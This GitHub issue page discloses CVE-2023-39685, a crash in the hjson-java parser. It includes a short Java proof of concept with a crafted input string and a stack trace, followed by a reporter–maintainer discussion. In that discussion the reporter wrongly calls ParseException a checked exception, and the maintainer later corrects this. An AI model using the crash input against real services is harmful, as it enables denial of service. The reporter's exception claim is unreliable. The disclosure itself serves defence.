Headline
CVE-2023-39685: java.lang.StringIndexOutOfBoundsException error caused by hjson parsing of untrusted JSON String · Issue #27 · hjson/hjson-java
An issue in hjson-java up to v3.0.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted JSON string.
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Closed
lopezalvar opened this issue
Jul 30, 2023
· 4 comments · Fixed by #29
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Description
The utilization of hjson to interpret untrusted JSON strings could potentially expose to significant security risks, specifically denial of service (DOS) attacks. This vulnerability arises when the parser operates on input provided by users, which could be manipulated by malicious actors. They could craft content designed to trigger a java.lang.StringIndexOutOfBoundsException error, leading to a system crash. This not only disrupts normal operations but also opens up opportunities for further exploitations.
PoC
<dependency\>
<groupId\>org.hjson</groupId\>
<artifactId\>hjson</artifactId\>
<version\>3.0.0</version\>
</dependency\>
package com.example; import org.hjson.JsonValue;
public class App { public static void main( String[] args ) { String jsonString = "[\n[\n=\n[[\’\’\’\’\’\’"; JsonValue.readHjson(jsonString);
}
}
Error Log
Exception in thread “main” java.lang.StringIndexOutOfBoundsException: index -1,length 0 at java.base/java.lang.String.checkIndex(String.java:3278) at java.base/java.lang.AbstractStringBuilder.charAt(AbstractStringBuilder.java:307) at java.base/java.lang.StringBuilder.charAt(StringBuilder.java:89) at org.hjson.HjsonParser.readMlString(HjsonParser.java:250) at org.hjson.HjsonParser.readStringInternal(HjsonParser.java:301) at org.hjson.HjsonParser.readString(HjsonParser.java:282) at org.hjson.HjsonParser.readValue(HjsonParser.java:117) at org.hjson.HjsonParser.readArray(HjsonParser.java:173) at org.hjson.HjsonParser.readValue(HjsonParser.java:118) at org.hjson.HjsonParser.readArray(HjsonParser.java:173) at org.hjson.HjsonParser.readValue(HjsonParser.java:118) at org.hjson.HjsonParser.readArray(HjsonParser.java:173) at org.hjson.HjsonParser.readValue(HjsonParser.java:118) at org.hjson.HjsonParser.readArray(HjsonParser.java:173) at org.hjson.HjsonParser.readValue(HjsonParser.java:118) at org.hjson.HjsonParser.parse(HjsonParser.java:88) at org.hjson.JsonValue.readHjson(JsonValue.java:130) at com.example.App.main(App.java:10)
I assume the correct behavior for Hjson would be to throw org.hjson.ParseException instead of java.lang.StringIndexOutOfBoundsException. Do you consider the difference in exception type to be a significant security risk?
Hi @trobro,
Thanks for your response. I agree with your point that the expected behavior would be for the hjson library to throw a org.hjson.ParseException. The difference in exception types is indeed significant. A java.lang.StringIndexOutOfBoundsException is a runtime exception that can crash the system if not properly handled, while a org.hjson.ParseException is a checked exception that forces the developer to handle it. This difference could indeed be a security risk, as it could potentially lead to a Denial of Service (DoS) attack. Additionally some other security risk can arise like, if the exception is not properly handled and the stack trace is exposed to the attacker, it could lead to information leakage, revealing sensitive details about the system’s internal workings. This could provide an attacker with valuable information to craft more targeted and potentially damaging attacks.
I believe that the library should ideally throw a org.hjson.ParseException to ensure that the developer is aware of the potential issue and handles it appropriately.
For reference, here are some similar vulnerabilities found in other JSON parsing libraries:
CVE-2022-40150
CVE-2022-40149
Thanks for the explanation, I agree with you. Unfortunately hjson-java has been without maintainer for many years and I haven’t been able to get in contact with anyone who might have credentials for hjson at Maven, so perhaps it won’t be possible to upload a new release to Maven.
I see now that org.hjson.ParseException is also a runtime exception, so the fix won’t change much, but I’ll still fix it.
2 participants
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